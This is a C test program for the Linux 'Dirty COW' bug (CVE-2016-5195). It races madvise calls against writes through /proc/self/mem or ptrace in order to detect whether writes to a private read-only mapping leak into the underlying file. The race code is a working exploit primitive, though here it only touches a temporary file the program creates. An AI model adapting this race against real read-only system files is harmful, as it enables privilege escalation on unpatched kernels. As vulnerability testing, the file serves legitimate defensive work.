/*
 * Test that MAP_PRIVATE works right (CVE-2016-5195).
 *
 * Copyright (c) 2016 Andy Lutomirski.  All rights reserved.
 *
 * GPL v2
 *
 * Thanks to Ben Hutchings and Oleg Nesterov for some improvements.
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <err.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <stdbool.h>
#include <stdint.h>
#include <unistd.h>
#include <pthread.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <sys/ptrace.h>
#include <sys/prctl.h>
#include <linux/prctl.h>
#include <signal.h>
#include <sys/wait.h>
#include <errno.h>
#include <string.h>

#ifndef PR_SET_PTRACER
#define PR_SET_PTRACER 0x59616d61
#endif

#ifndef PR_SET_PTRACER_ANY
#define PR_SET_PTRACER_ANY ((unsigned long)-1)
#endif

static long volatile *write_iters;
static volatile unsigned long ready;
static void *p_priv;
static volatile char *p_shared;
static int fd;

static const char one = 1;

static void *madvise_thread(void *ctx)
{
	while (!ready)
		;

	long madvise_iters = 0;

	while (true) {
		char a = p_shared[0];
		char b = p_shared[4096];
		if (a || b) {
			printf("+ PWNED %d,%d! (%ld writes per page, %ld madvise calls)\n",
			       (int)a, (int)b, *write_iters, madvise_iters);
			exit(0);
		}

		// This is optional.
		*(volatile char *)(p_priv);

		madvise(p_priv, 1, MADV_DONTNEED);
		madvise(p_priv + 4096, 1, MADV_DONTNEED);
		madvise_iters++;
	}
}

static void try_procmem(void)
{
	int procmem = open("/proc/self/mem", O_WRONLY, 0);
	if (procmem == -1 ) {
		printf("- Can't open /proc/self/mem\n");
		return;
	}

	char test = 0;
	pwrite(procmem, &one, 1, (off_t)&test);
	if (!test) {
		printf("- Cant write to /proc/self/mem\n");
		close(procmem);
		procmem = -1;
		return;
	}

	printf("+ Using /proc/self/mem\n");
	printf("  If the test gets stuck here forever, then you are probably not vulnerable.\n");
	ready = 1;

	while (true) {
		(*write_iters)++;
		pwrite(procmem, &one, 1, (off_t)p_priv);
		pwrite(procmem, &one, 1, (off_t)p_priv + 4096);
	}
}

static void ptrace_proc(pid_t parent)
{
	prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0, 0);

	munmap(p_priv, 8192);  /* We're done with our copy. */

	if (ptrace(PTRACE_ATTACH, parent, NULL, NULL) != 0)
		err(1, "PTRACE_ATTACH");

	int status;
	waitpid(parent, &status, __WALL);
	if (!WIFSTOPPED(status)) {
		printf("- ptrace child is in the wrong state\n");
		exit(1);
	}

	printf("+ ptrace is attached\n");

	printf("  If the test gets stuck here forever, then you are probably not vulnerable.\n");

	unsigned long oneul = 1;
	if (ptrace(PTRACE_POKEDATA, parent, &ready, &oneul) != 0)
		err(1, "PTRACE_POKEDATA for ready");

	while (true) {
		(*write_iters)++;
		unsigned long word = (unsigned long)0x0101010101010101ULL;
		if (ptrace(PTRACE_POKEDATA, parent, p_priv, (void *)word) != 0) {
			if (errno == ESRCH)
				goto sleep_forever;
			err(1, "PTRACE_POKEDATA");
		}
		if (ptrace(PTRACE_POKEDATA, parent, (char *)p_priv + 4096, (void *)word) != 0) {
			if (errno == ESRCH)
				goto sleep_forever;
			err(1, "PTRACE_POKEDATA");
		}
	}

sleep_forever:
	/*
	 * Don't exit lest we confuse the parent -- we'll get cleaned up
	 * by the death signal.
	 */
	while (true)
		pause();
}

/* Separate thread to avoid breaking job control */
static void *ptrace_thread(void *unused)
{
	pid_t parent = syscall(SYS_gettid);
	prctl(PR_SET_PTRACER, PR_SET_PTRACER_ANY, 0, 0, 0);
	pid_t child = fork();
	prctl(PR_SET_DUMPABLE, 1, 0, 0, 0, 0);

	if (child < 0) {
		err(1, "fork");
	} else if (!child) {
		ptrace_proc(parent);
	}

	ready = 1;

	while (true)
		pause();
}

static void try_ptrace(void)
{
	pthread_t t;
	int status;

	pthread_create(&t, NULL, ptrace_thread, NULL);

	while (wait(&status) < 0)
		;

	printf("- ptracer child exited\n");
}

int main(int argc, char **argv)
{
	fd = -1;
#ifdef O_TMPFILE
	fd = open(".", O_TMPFILE | O_RDWR, 0700);
#else
	errno = EISDIR;
#endif
	if (fd != -1) {
		printf("+ Using O_TMPFILE\n");
	} else {
		char tmp_name[30] = "test_CVE-2016-5195-XXXXXX";
		if (errno != EISDIR) {
			warn("O_TMPFILE");
			printf("- Make sure you run this test in a writable directory\n");
			exit(1);
		}
		fd = mkstemp(tmp_name);
		if (fd == -1) {
			warn("mkstemp");
			printf("- Make sure you run this test in a writable directory\n");
			exit(1);
		}
		unlink(tmp_name);
		printf("+ Using a conventional temporary file\n");
	}
	if (ftruncate(fd, 8192) != 0)
		err(1, "ftruncate");

	// This hopefully reduces the risk of crashing the system.
	pwrite(fd, &one, 1, 8);
	pwrite(fd, &one, 1, 4096 + 8);

	write_iters = mmap(NULL, sizeof(unsigned long), PROT_READ | PROT_WRITE,
			   MAP_ANONYMOUS | MAP_SHARED, -1, 0);
	
	p_shared = mmap(NULL, 8192, PROT_READ, MAP_SHARED, fd, 0);
	if (p_shared == MAP_FAILED)
		err(1, "open");

	p_priv = mmap(NULL, 8192, PROT_READ, MAP_PRIVATE, fd, 0);
	if (p_priv == MAP_FAILED)
		err(1, "mmap");

	pthread_t t;
	pthread_create(&t, NULL, madvise_thread, NULL);

	if (argc != 2 || strcmp(argv[1], "ptrace"))
		try_procmem();
	try_ptrace();
	printf("No force-write means detected\n");

	return 0;
}